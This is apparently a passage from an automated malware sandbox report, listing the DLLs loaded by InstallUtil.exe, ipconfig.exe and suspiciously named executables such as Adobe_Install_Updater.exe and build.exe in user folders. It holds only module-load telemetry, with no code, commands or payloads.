Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: rasapi32.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: rasman.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: rtutils.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasapi32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasman.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rtutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: amsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: gpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: propsys.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: edputil.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: urlmon.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: iertutil.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: srvcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: netutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wintypes.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: appresolver.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: slc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: sppc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: rasapi32.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: rasman.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: rtutils.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Section loaded: rasapi32.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Section loaded: rasman.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Section loaded: rtutils.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Section loaded: ntmarta.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: amsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: gpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: secur32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: schannel.dll
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\build.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\build.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\build.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\build.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\build.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\build.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\build.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\build.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\build.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\build.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\build.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\build.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\build.exe	Section loaded: rasapi32.dll
Source: C:\Users\user\AppData\Local\Temp\build.exe	Section loaded: rasman.dll
Source: C:\Users\user\AppData\Local\Temp\build.exe	Section loaded: rtutils.dll
Source: C:\Users\user\AppData\Local\Temp\build.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\build.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\build.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\build.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\build.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Temp\build.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Temp\build.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\build.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\build.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\build.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\build.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Temp\build.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\build.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\build.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\build.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\build.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\build.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\build.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\build.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\build.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\build.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\build.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\build.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\build.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\build.exe	Section loaded: windowscodecs.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasapi32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasman.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rtutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: amsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: gpapi.dll
